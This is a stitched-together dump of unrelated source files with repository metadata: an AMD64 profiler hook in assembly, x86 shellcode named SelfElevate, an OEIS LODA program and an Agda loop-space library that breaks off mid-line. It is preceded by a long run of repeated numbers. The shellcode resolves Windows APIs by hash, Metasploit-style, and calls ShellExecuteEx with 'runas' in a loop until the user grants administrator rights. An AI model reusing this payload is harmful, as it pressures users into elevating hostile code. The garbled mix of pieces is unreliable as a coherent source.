45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 */
kProfiler2/prfamd64msc.asm
OS2World/DEV-UTIL-kstuff
0
7667
; $Id$; ;; @file ; kProfiler Mark 2 - Microsoft C/C++ Compiler Interaction, AMD64. ; ; ; Copyright (c) 2006-2007 <NAME> <<EMAIL>> ; ; Permission is hereby granted, free of charge, to any person ; obtaining a copy of this software and associated documentation ; files (the "Software"), to deal in the Software without ; restriction, including without limitation the rights to use, ; copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the ; Software is furnished to do so, subject to the following ; conditions: ; ; The above copyright notice and this permission notice shall be ; included in all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ; EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES ; OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND ; NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT ; HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, ; WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR ; OTHER DEALINGS IN THE SOFTWARE. ; [section .data] ; g_fCalibrated: dd 0 g_OverheadAdj: dd 0 [section .text] extern KPRF_ENTER extern KPRF_LEAVE global _penter global _pexit ;ifdef UNDEFINED global common_return_path global common_overhead global common_no_overhead global calibrate global calib_inner_update_minimum global calib_inner_next global calib_outer_dec global calib_outer_inc global calib_done global calib_nullproc ;endif ;; ; On x86 the call to this function has been observed to be put before ; creating the stack frame, as the very first instruction in the function. ; ; Thus the stack layout is as follows: ; 24 return address of the calling function. ; 20 our return address - the address of the calling function + 5. ; 1c eax ; 18 edx ; 14 eflags ; 10 ecx ; c tsc high - param 3 ; 8 tsc low ; 4 frame pointer - param 2 ; 0 function ptr - param 1 ; ; align 16 _penter: ; save volatile register and get the time stamp. push rax push rdx rdtsc pushfq push rcx push r8 push r9 push r10 push r11 sub rsp, 28h ; rsp is unaligned at this point (8 pushes). ; reserve 20h for spill, and 8 bytes for ts. ; setting up the enter call frame mov r8d, edx shl r8, 32 or r8, rax ; param 3 - the timestamp mov [rsp + 20h], r8 ; save the tsc for later use. lea rdx, [rsp + 8*8 + 28h] ; Param 2 - default frame pointer mov rcx, [rdx] ; Param 1 - The function address ; MSC seems to put the _penter both before and after the typical sub rsp, xxh ; statement as if it cannot quite make up its mind. We'll try adjust for this ; to make the unwinding a bit more accurate wrt to longjmp/throw. But since ; there are also an uneven amount of push/pop around the _penter/_pexit we ; can never really make a perfect job of it. sigh. cmp word [rcx - 5 - 4], 08348h ; sub rsp, imm8 jne .not_byte_sub cmp byte [rcx - 5 - 2], 0ech jne .not_byte_sub movzx eax, byte [rcx - 5 - 1] ; imm8 add rdx, rax jmp .call_prf_enter .not_byte_sub: cmp word [rcx - 5 - 7], 08148h ; sub rsp, imm32 jne .not_dword_sub cmp byte [rcx - 5 - 5], 0ech jne .not_dword_sub mov eax, [rcx - 5 - 4] ; imm32 add rdx, rax ; jmp .call_prf_enter .not_dword_sub: .call_prf_enter: call KPRF_ENTER jmp common_return_path ;; ; On x86 the call to this function has been observed to be put right before ; return instruction. This fact matters since since we have to calc the same ; stack address as in _penter. ; ; Thus the stack layout is as follows: ; 24 return address of the calling function. ; 20 our return address - the address of the calling function + 5. ; 1c eax ; 18 edx ; 14 eflags ; 10 ecx ; c tsc high - param 3 ; 8 tsc low ; 4 frame pointer - param 2 ; 0 function ptr - param 1 ; ; align 16 _pexit: ; save volatile register and get the time stamp. push rax push rdx rdtsc pushfq push rcx push r8 push r9 push r10 push r11 sub rsp, 28h ; rsp is unaligned at this point (8 pushes). ; reserve 20h for spill, and 8 bytes for ts. ; setting up the enter call frame mov r8d, edx shl r8, 32 or r8, rax ; param 3 - the timestamp mov [rsp + 20h], r8 ; save the tsc for later use. lea rdx, [rsp + 8*8 + 28h] ; Param 2 - frame pointer. mov rcx, [rdx] ; Param 1 - The function address ; MSC some times put the _pexit before the add rsp, xxh. To try match up with ; any adjustments made in _penter, we'll try detect this. cmp word [rcx], 08348h ; add rsp, imm8 jne .not_byte_sub cmp byte [rcx + 2], 0c4h jne .not_byte_sub movzx eax, byte [rcx + 3] ; imm8 add rdx, rax jmp .call_prf_leave .not_byte_sub: cmp word [rcx], 08148h ; add rsp, imm32 jne .not_dword_sub cmp byte [rcx + 2], 0c4h jne .not_dword_sub mov eax, [rcx + 3] ; imm32 add rdx, rax ; jmp .call_prf_leave .not_dword_sub: .call_prf_leave: call KPRF_LEAVE jmp common_return_path ;; ; This is the common return path for both the enter and exit hooks. ; It's kept common because we can then use the same overhead adjustment ; and save some calibration efforts. It also saves space :-) align 16 common_return_path: ; Update overhead test rax, rax jz common_no_overhead cmp byte [g_fCalibrated wrt rip], 0 jnz common_overhead call calibrate common_overhead: mov rcx, rax ; rcx <- pointer to overhead counter. mov eax, [g_OverheadAdj wrt rip]; apply the adjustment before reading tsc sub [rsp + 20h], rax rdtsc shl rdx, 32 or rdx, rax ; rdx = 64-bit timestamp sub rdx, [rsp + 20h] ; rdx = elapsed lock add [rcx], rdx ; update counter. common_no_overhead: ; restore volatile registers. add rsp, 28h pop r11 pop r10 pop r9 pop r8 pop rcx popfq pop rdx pop rax ret ;; ; Data rsi points to while we're calibrating. struc CALIBDATA .Overhead resq 1 .Profiled resq 1 .EnterTS resq 1 .Min resq 1 endstruc align 16 ;; ; Do necessary calibrations. ; calibrate: ; prolog - save everything push rbp pushfq push rax ; pushaq push rbx push rcx push rdx push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 mov rbp, rsp sub rsp, CALIBDATA_size mov rsi, rsp ; rsi points to the CALIBDATA and rsp, -16 ; ; Indicate that we have finished calibrating. ; mov eax, 1 xchg dword [g_fCalibrated wrt rip], eax ; ; The outer loop - find the right adjustment. ; mov ebx, 200h ; loop counter. calib_outer_loop: ; ; The inner loop - calls the function number of times to establish a ; good minimum value ; mov ecx, 200h mov dword [rsi + CALIBDATA.Min], 0ffffffffh mov dword [rsi + CALIBDATA.Min + 4], 07fffffffh calib_inner_loop: ; zero the overhead and profiled times. xor eax, eax mov [rsi + CALIBDATA.Overhead], rax mov [rsi + CALIBDATA.Profiled], rax call calib_nullproc ; subtract the overhead mov rax, [rsi + CALIBDATA.Profiled] sub rax, [rsi + CALIBDATA.Overhead] ; update the minimum value. bt rax, 63 jc near calib_outer_dec ; if negative, just simplify and shortcut cmp rax, [rsi + CALIBDATA.Min] jge calib_inner_next calib_inner_update_minimum: mov [rsi + CALIBDATA.Min], rax calib_inner_next: loop calib_inner_loop ; Is the minimum value acceptable? test dword [rsi + CALIBDATA.Min + 4], 80000000h jnz calib_outer_dec ; simplify if negative. cmp dword [rsi + CALIBDATA.Min + 4], 0 jnz calib_outer_inc ; this shouldn't be possible cmp dword [rsi + CALIBDATA.Min], 1fh jbe calib_outer_dec ; too low - 2 ticks per pair is the minimum! ;cmp dword [rsi + CALIBDATA.Min], 30h ;jbe calib_done ; this is fine! cmp dword [rsi + CALIBDATA.Min], 70h ; - a bit weird... jbe calib_outer_next ; do the full 200h*200h iteration calib_outer_inc: inc dword [g_OverheadAdj wrt rip] jmp calib_outer_next calib_outer_dec: cmp dword [g_OverheadAdj wrt rip], 1 je calib_done dec dword [g_OverheadAdj wrt rip] calib_outer_next: dec ebx jnz calib_outer_loop calib_done: ; epilog - restore it all. mov rsp, rbp pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rdx pop rcx pop rbx pop rax popfq pop rbp ret ;; ; The calibration _penter - this must be identical to the real thing except for the KPRF call. align 16 calib_penter: ; This part must be identical past the rdtsc. push rax push rdx rdtsc pushfq push rcx push r8 push r9 push r10 push r11 sub rsp, 28h ; rsp is unaligned at this point (8 pushes). ; reserve 20h for spill, and 8 bytes for ts. ; store the entry / stack frame. mov r8d, edx shl r8, 32 or r8, rax mov [rsp + 20h], r8 mov [rsi + CALIBDATA.EnterTS], r8 lea rax, [rsi + CALIBDATA.Overhead] jmp common_overhead ;; ; The calibration _pexit - this must be identical to the real thing except for the KPRF call. align 16 calib_pexit: ; This part must be identical past the rdtsc. push rax push rdx rdtsc pushfq push rcx push r8 push r9 push r10 push r11 sub rsp, 28h ; rsp is unaligned at this point (8 pushes). ; reserve 20h for spill, and 8 bytes for ts. ; store the entry / stack frame. mov r8d, edx shl r8, 32 or r8, rax mov [rsp + 20h], r8 sub r8, [rsi + CALIBDATA.EnterTS] add [rsi + CALIBDATA.Profiled], r8 lea rax, [rsi + CALIBDATA.EnterTS] jmp common_overhead ;; ; The 'function' we're profiling. ; The general idea is that each pair should take something like 2-10 ticks. ; ; (Btw. If we don't use multiple pairs here, we end up with the wrong result.) align 16 calib_nullproc: call calib_penter ;0 call calib_pexit call calib_penter ;1 call calib_pexit call calib_penter ;2 call calib_pexit call calib_penter ;3 call calib_pexit call calib_penter ;4 call calib_pexit call calib_penter ;5 call calib_pexit call calib_penter ;6 call calib_pexit call calib_penter ;7 call calib_pexit call calib_penter ;8 call calib_pexit call calib_penter ;9 call calib_pexit call calib_penter ;a call calib_pexit call calib_penter ;b call calib_pexit call calib_penter ;c call calib_pexit call calib_penter ;d call calib_pexit call calib_penter ;e call calib_pexit call calib_penter ;f call calib_pexit ret ; ; Dummy stack check function. ; global __chkstk __chkstk: ret
x86/SelfElevate/self_elevate.asm
EgeBalci/SelfDefense
20
9987
[BITS 32] cld ; Clear direction flags call start ; Get the address of api block to stack %include "../block_api.asm"; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm start: pop ebp ; Pop the address of api block elevate: sub esp,0x1a8 ; szPath[MAX_PATH] mov esi,esp ; Save &szPath to eax push dword 0x1a8 ; ARRAYSIZE(szPath) push esi ; &szPath push dword 0x00 ; NULL push 0xFE61445D ; hash( "KERNEL32.dll", "GetModuleFileNameA" ) call ebp ; GetModuleFileName(NULL,szPath,ARRAYSIZE(szPath)) ;---------------------------- ; push 0x006c6c64 ; 0x00,lld push 0x2e32336c ; .23l push 0x6c656873 ; lehs push esp ; &"shell32.dll" push 0x0726774C ; hash( "KERNEL32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA(&"shell32.dll") ;-----------------------------; push 0x0073616e ; 0x00,"san" push 0x75720000 ; "ur",0x00 lea ebx,[esp+2] ; Save &"runas" to ECX push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push dword 0x01 ; 0x00 push dword 0x00 ; 0x00 push dword 0x00 ; 0x00 push esi ; SHELLEXECUTEINFO.lpFile = szPath push ebx ; SHELLEXECUTEINFO.lpVerb = "runas" push dword 0x00 ; SHELLEXECUTEINFO.hwnd = 0 push dword 0x00 ; 0x00 push dword 0x3c ; SHELLEXECUTEINFO.cbSize = 0x3c mov edi,esp ; Move &SHELLEXECUTEINFO to EDI push dword 0x01 ; argc push edi ; &SHELLEXECUTEINFO push 0x02A9E686 ; hash( "SHELL32.dll", "ShellExecuteExA" ) call ebp ; ShellExecuteExA(&SHELLEXECUTEINFO) add esp,0x1fc ; Fix the stack test eax,eax ; Check error jz elevate ; Ask until process elevates ;)
oeis/028/A028039.asm
neoneye/loda-programs
11
22763
; A028039: Expansion of 1/((1-3x)(1-4x)(1-7x)(1-9x)). ; Submitted by <NAME> ; 1,23,342,4198,46403,481341,4792264,46410716,440901285,4131534979,38331795866,353038275954,3233774790247,29499248911337,268261230188748,2433731253526312,22039259605258889,199303153044040815 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,16801 ; Expansion of 1/((1-3x)(1-4x)(1-7x)). sub $0,$1 mul $1,10 add $1,$0 lpe mov $0,$1
lib/types/LoopSpace.agda
danbornside/HoTT-Agda
0
7643
{-# OPTIONS --without-K #-} open import lib.Basics open import lib.NConnected open import lib.types.Nat open import lib.types.TLevel open import lib.types.Empty open import lib.types.Group open import lib.types.Pi open import lib.types.Pointed open import lib.types.Paths open import lib.types.Sigma open import lib.types.Truncation open import lib.cubical.Square module lib.types.LoopSpace where module _ {i} where ⊙Ω : Ptd i → Ptd i ⊙Ω (A , a) = ⊙[ (a == a) , idp ] Ω : Ptd i → Type i Ω = fst ∘ ⊙Ω ⊙Ω^ : (n : ℕ) → Ptd i → Ptd i ⊙Ω^ O X = X ⊙Ω^ (S n) X = ⊙Ω (⊙Ω^ n X) Ω^ : (n : ℕ) → Ptd i → Type i Ω^ n X = fst (⊙Ω^ n X) idp^ : ∀ {i} (n : ℕ) {X : Ptd i} → Ω^ n X idp^ n {X} = snd (⊙Ω^ n X) {- for n ≥ 1, we have a group structure on the loop space -} module _ {i} where !^ : (n : ℕ) (t : n ≠ O) {X : Ptd i} → Ω^ n X → Ω^ n X !^ O t = ⊥-rec (t idp) !^ (S n) _ = ! conc^ : (n : ℕ) (t : n ≠ O) {X : Ptd i} → Ω^ n X → Ω^ n X → Ω^ n X conc^ O t = ⊥-rec (t idp) conc^ (S n) _ = _∙_ {- ap and ap2 for pointed functions -} private pt-lemma : ∀ {i} {A : Type i} {x y : A} (p : x == y) → ! p ∙ (idp ∙' p) == idp pt-lemma idp = idp ⊙ap : ∀ {i j} {X : Ptd i} {Y : Ptd j} → fst (X ⊙→ Y) → fst (⊙Ω X ⊙→ ⊙Ω Y) ⊙ap (f , fpt) = ((λ p → ! fpt ∙ ap f p ∙' fpt) , pt-lemma fpt) ⊙ap2 : ∀ {i j k} {X : Ptd i} {Y : Ptd j} {Z : Ptd k} → fst (X ⊙× Y ⊙→ Z) → fst (⊙Ω X ⊙× ⊙Ω Y ⊙→ ⊙Ω Z) ⊙ap2 (f , fpt) = ((λ {(p , q) → ! fpt ∙ ap2 (curry f) p q ∙' fpt}) , pt-lemma fpt) ⊙ap-∘ : ∀ {i j k} {X : Ptd i} {Y : Ptd j} {Z : Ptd k} (g : fst (Y ⊙→ Z)) (f : fst (X ⊙→ Y)) → ⊙ap (g ⊙∘ f) == ⊙ap g ⊙∘ ⊙ap f ⊙ap-∘ (g , idp) (f , idp) = ⊙λ= (λ p → ap-∘ g f p) idp ⊙ap-idf : ∀ {i} {X : Ptd i} → ⊙ap (⊙idf X) == ⊙idf _ ⊙ap-idf = ⊙λ= ap-idf idp ⊙ap2-fst : ∀ {i j} {X : Ptd i} {Y : Ptd j} → ⊙ap2 {X = X} {Y = Y} ⊙fst == ⊙fst ⊙ap2-fst = ⊙λ= (uncurry ap2-fst) idp ⊙ap2-snd : ∀ {i j} {X : Ptd i} {Y : Ptd j} → ⊙ap2 {X = X} {Y = Y} ⊙snd == ⊙snd ⊙ap2-snd = ⊙λ= (uncurry ap2-snd) idp ⊙ap-ap2 : ∀ {i j k l} {X : Ptd i} {Y : Ptd j} {Z : Ptd k} {W : Ptd l} (G : fst (Z ⊙→ W)) (F : fst (X ⊙× Y ⊙→ Z)) → ⊙ap G ⊙∘ ⊙ap2 F == ⊙ap2 (G ⊙∘ F) ⊙ap-ap2 (g , idp) (f , idp) = ⊙λ= (uncurry (ap-ap2 g (curry f))) idp ⊙ap2-ap : ∀ {i j k l m} {X : Ptd i} {Y : Ptd j} {U : Ptd k} {V : Ptd l} {Z : Ptd m} (G : fst ((U ⊙× V) ⊙→ Z)) (F₁ : fst (X ⊙→ U)) (F₂ : fst (Y ⊙→ V)) → ⊙ap2 G ⊙∘ pair⊙→ (⊙ap F₁) (⊙ap F₂) == ⊙ap2 (G ⊙∘ pair⊙→ F₁ F₂) ⊙ap2-ap (g , idp) (f₁ , idp) (f₂ , idp) = ⊙λ= (λ {(p , q) → ap2-ap-l (curry g) f₁ p (ap f₂ q) ∙ ap2-ap-r (λ x v → g (f₁ x , v)) f₂ p q}) idp ⊙ap2-diag : ∀ {i j} {X : Ptd i} {Y : Ptd j} (F : fst (X ⊙× X ⊙→ Y)) → ⊙ap2 F ⊙∘ ⊙diag == ⊙ap (F ⊙∘ ⊙diag) ⊙ap2-diag (f , idp) = ⊙λ= (ap2-diag (curry f)) idp {- ap and ap2 for higher loop spaces -} ap^ : ∀ {i j} (n : ℕ) {X : Ptd i} {Y : Ptd j} → fst (X ⊙→ Y) → fst (⊙Ω^ n X ⊙→ ⊙Ω^ n Y) ap^ O F = F ap^ (S n) F = ⊙ap (ap^ n F) ap2^ : ∀ {i j k} (n : ℕ) {X : Ptd i} {Y : Ptd j} {Z : Ptd k} → fst ((X ⊙× Y) ⊙→ Z) → fst ((⊙Ω^ n X ⊙× ⊙Ω^ n Y) ⊙→ ⊙Ω^ n Z) ap2^ O F = F ap2^ (S n) F = ⊙ap2 (ap2^ n F) ap^-idf : ∀ {i} (n : ℕ) {X : Ptd i} → ap^ n (⊙idf X) == ⊙idf _ ap^-idf O = idp ap^-idf (S n) = ap ⊙ap (ap^-idf n) ∙ ⊙ap-idf ap^-ap2^ : ∀ {i j k l} (n : ℕ) {X : Ptd i} {Y : Ptd j} {Z : Ptd k} {W : Ptd l} (G : fst (Z ⊙→ W)) (F : fst ((X ⊙× Y) ⊙→ Z)) → ap^ n G ⊙∘ ap2^ n F == ap2^ n (G ⊙∘ F) ap^-ap2^ O G F = idp ap^-ap2^ (S n) G F = ⊙ap-ap2 (ap^ n G) (ap2^ n F) ∙ ap ⊙ap2 (ap^-ap2^ n G F) ap2^-fst : ∀ {i j} (n : ℕ) {X : Ptd i} {Y : Ptd j} → ap2^ n {X} {Y} ⊙fst == ⊙fst ap2^-fst O = idp ap2^-fst (S n) = ap ⊙ap2 (ap2^-fst n) ∙ ⊙ap2-fst ap2^-snd : ∀ {i j} (n : ℕ) {X : Ptd i} {Y : Ptd j} → ap2^ n {X} {Y} ⊙snd == ⊙snd ap2^-snd O = idp ap2^-snd (S n) = ap ⊙ap2 (ap2^-snd n) ∙ ⊙ap2-snd ap2^-ap^ : ∀ {i j k l m} (n : ℕ) {X : Ptd i} {Y : Ptd j} {U : Ptd k} {V : Ptd l} {Z : Ptd m} (G : fst ((U ⊙× V) ⊙→ Z)) (F₁ : fst (X ⊙→ U)) (F₂ : fst (Y ⊙→ V)) → ap2^ n G ⊙∘ pair⊙→ (ap^ n F₁) (ap^ n F₂) == ap2^ n (G ⊙∘ pair⊙→ F₁ F₂) ap2^-ap^ O G F₁ F₂ = idp ap2^-ap^ (S n) G F₁ F₂ = ⊙ap2-ap (ap2^ n G) (ap^ n F₁) (ap^ n F₂) ∙ ap ⊙ap2 (ap2^-ap^ n G F₁ F₂) ap2^-diag : ∀ {i j} (n : ℕ) {X : Ptd i} {Y : Ptd j} (F : fst (X ⊙× X ⊙→ Y)) → ap2^ n F ⊙∘ ⊙diag == ap^ n (F ⊙∘ ⊙diag) ap2^-diag O F = idp ap2^-diag (S n) F = ⊙ap2-diag (ap2^ n F) ∙ ap ⊙ap (ap2^-diag n F) module _ {i} {X : Ptd i} where {- Prove these as lemmas now - so we don't have to deal with the n = O case later -} conc^-unit-l : (n : ℕ) (t : n ≠ O) (q : Ω^ n X) → (conc^ n t (idp^ n) q) == q conc^-unit-l O t _ = ⊥-rec (t idp) conc^-unit-l (S n) _ _ = idp conc^-unit-r : (n : ℕ) (t : n ≠ O) (q : Ω^ n X) → (conc^ n t q (idp^ n)) == q conc^-unit-r O t = ⊥-rec (t idp) conc^-unit-r (S n) _ = ∙-unit-r conc^-assoc : (n : ℕ) (t : n ≠ O) (p q r : Ω^ n X) → conc^ n t (conc^ n t p q) r == conc^ n t p (conc^ n t q r) conc^-assoc O t = ⊥-rec (t idp) conc^-assoc (S n) _ = ∙-assoc !^-inv-l : (n : ℕ) (t : n ≠ O) (p : Ω^ n X) → conc^ n t (!^ n t p) p == idp^ n !^-inv-l O t = ⊥-rec (t idp) !^-inv-l (S n) _ = !-inv-l !^-inv-r : (n : ℕ) (t : n ≠ O) (p : Ω^ n X) → conc^ n t p (!^ n t p) == idp^ n !^-inv-r O t = ⊥-rec (t idp) !^-inv-r (S n) _ = !-inv-r abstract ap^-conc^ : ∀ {i j} (n : ℕ) (t : n ≠ O) {X : Ptd i} {Y : Ptd j} (F : fst (X ⊙→ Y)) (p q : Ω^ n X) → fst (ap^ n F) (conc^ n t p q) == conc^ n t (fst (ap^ n F) p) (fst (ap^ n F) q) ap^-conc^ O t _ _ _ = ⊥-rec (t idp) ap^-conc^ (S n) _ {X = X} {Y = Y} F p q = ! gpt ∙ ap g (p ∙ q) ∙' gpt =⟨ ap-∙ g p q |in-ctx (λ w → ! gpt ∙ w ∙' gpt) ⟩ ! gpt ∙ (ap g p ∙ ap g q) ∙' gpt =⟨ lemma (ap g p) (ap g q) gpt ⟩ (! gpt ∙ ap g p ∙' gpt) ∙ (! gpt ∙ ap g q ∙' gpt) ∎ where g : Ω^ n X → Ω^ n Y g = fst (ap^ n F) gpt : g (idp^ n) == idp^ n gpt = snd (ap^ n F) lemma : ∀ {i} {A : Type i} {x y : A} → (p q : x == x) (r : x == y) → ! r ∙ (p ∙ q) ∙' r == (! r ∙ p ∙' r) ∙ (! r ∙ q ∙' r) lemma p q idp = idp {- ap^ preserves (pointed) equivalences -} module _ {i j} {X : Ptd i} {Y : Ptd j} where is-equiv-ap^ : (n : ℕ) (F : fst (X ⊙→ Y)) (e : is-equiv (fst F)) → is-equiv (fst (ap^ n F)) is-equiv-ap^ O F e = e is-equiv-ap^ (S n) F e = pre∙-is-equiv (! (snd (ap^ n F))) ∘ise post∙'-is-equiv (snd (ap^ n F)) ∘ise snd (equiv-ap (_ , is-equiv-ap^ n F e) _ _) equiv-ap^ : (n : ℕ) (F : fst (X ⊙→ Y)) (e : is-equiv (fst F)) → Ω^ n X ≃ Ω^ n Y equiv-ap^ n F e = (fst (ap^ n F) , is-equiv-ap^ n F e) Ω^-level-in : ∀ {i} (m : ℕ₋₂) (n : ℕ) (X : Ptd i) → (has-level ((n -2) +2+ m) (fst X) → has-level m (Ω^ n X)) Ω^-level-in m O X pX = pX Ω^-level-in m (S n) X pX = Ω^-level-in (S m) n X (transport (λ k → has-level k (fst X)) (! (+2+-βr (n -2) m)) pX) (idp^ n) (idp^ n) Ω^-conn-in : ∀ {i} (m : ℕ₋₂) (n : ℕ) (X : Ptd i) → (is-connected ((n -2) +2+ m) (fst X)) → is-connected m (Ω^ n X) Ω^-conn-in m O X pX = pX Ω^-conn-in m (S n) X pX = path-conn $ Ω^-conn-in (S m) n X $ transport (λ k → is-connected k (fst X)) (! (+2+-βr (n -2) m)) pX {- Eckmann-Hilton argument -} module _ {i} {X : Ptd i} where conc^2-comm : (α β : Ω^ 2 X) → conc^ 2 (ℕ-S≠O _) α β == conc^ 2 (ℕ-S≠O _) β α conc^2-comm α β = ! (⋆2=conc^ α β) ∙ ⋆2=⋆'2 α β ∙ ⋆'2=conc^ α β where ⋆2=conc^ : (α β : Ω^ 2 X) → α ⋆2 β == conc^ 2 (ℕ-S≠O _) α β ⋆2=conc^ α β = ap (λ π → π ∙ β) (∙-unit-r α) ⋆'2=conc^ : (α β : Ω^ 2 X) → α ⋆'2 β == conc^ 2 (ℕ-S≠O _) β α ⋆'2=conc^ α β = ap (λ π → β ∙ π) (∙-unit-r α) {- Pushing truncation through loop space -} module _ {i} where Trunc-Ω^ : (m : ℕ₋₂) (n : ℕ) (X : Ptd i) → ⊙Trunc m (⊙Ω^ n X) == ⊙Ω^ n (⊙Trunc ((n -2) +2+ m) X) Trunc-Ω^ m O X = idp Trunc-Ω^ m (S n) X = ⊙Trunc m (⊙Ω^ (S n) X) =⟨ ! (pair= (Trunc=-path [ _ ] [ _ ]) (↓-idf-ua-in _ idp)) ⟩ ⊙Ω (⊙Trunc (S m) (⊙Ω^ n X)) =⟨ ap ⊙Ω (Trunc-Ω^ (S m) n X) ⟩ ⊙Ω^ (S n) (⊙Trunc ((n -2) +2+ S m) X) =⟨ +2+-βr (n -2) m |in-ctx (λ k → ⊙Ω^ (S n) (⊙Trunc k X)) ⟩ ⊙Ω^ (S n) (⊙Trunc (S (n -2) +2+ m) X) ∎ Ω-Trunc-equiv : (m : ℕ₋₂) (X : Ptd i) → Ω (⊙Trunc (S m) X) ≃ Trunc m (Ω X) Ω-Trunc-equiv m X = Trunc=-equiv [ snd X ] [ snd X ] {- A loop space is a pregroup, and a group if it has the right level -} module _ {i} (n : ℕ) (t : n ≠ O) (X : Ptd i) where Ω^-group-structure : GroupStructure (Ω^ n X) Ω^-group-structure = record { ident = idp^ n; inv = !^ n t; comp = conc^ n t; unitl = conc^-unit-l n t; unitr = conc^-unit-r n t; assoc = conc^-assoc n t; invr = !^-inv-r n t; invl = !^-inv-l n t } Ω^-Group : has-level ⟨ n ⟩ (fst X) → Group i Ω^-Group pX = group (Ω^ n X) (Ω^-level-in ⟨0⟩ n X $ transport (λ t → has-level t (fst X)) (+2+-comm ⟨0⟩ (n -2)) pX) Ω^-group-structure {- Our definition of Ω^ builds up loops on the outside, - but this is equivalent to building up on the inside -} module _ {i} where ⊙Ω^-inner-path : (n : ℕ) (X : Ptd i) → ⊙Ω^ (S n) X == ⊙Ω^ n (⊙Ω X) ⊙Ω^-inner-path O X = idp ⊙Ω^-inner-path (S n) X = ap ⊙Ω (⊙Ω^-inner-path n X) ⊙Ω^-inner-out : (n : ℕ) (X : Ptd i) → fst (⊙Ω^ (S n) X ⊙→ ⊙Ω^ n (⊙Ω X)) ⊙Ω^-inner-out O _ = (idf _ , idp) ⊙Ω^-inner-out (S n) X = ap^ 1 (⊙Ω^-inner-out n X) Ω^-inner-out : (n : ℕ) (X : Ptd i) → (Ω^ (S n) X → Ω^ n (⊙Ω X)) Ω^-inner-out n X = fst (⊙Ω^-inner-out n X) Ω^-inner-out-conc^ : (n : ℕ) (t : n ≠ O) (X : Ptd i) (p q : Ω^ (S n) X) → Ω^-inner-out n X (conc^ (S n) (ℕ-S≠O _) p q) == conc^ n t (Ω^-inner-out n X p) (Ω^-inner-out n X q) Ω^-inner-out-conc^ O t X _ _ = ⊥-rec (t idp) Ω^-inner-out-conc^ (S n) t X p q = ap^-conc^ 1 (ℕ-S≠O _) (⊙Ω^-inner-out n X) p q Ω^-inner-is-equiv : (n : ℕ) 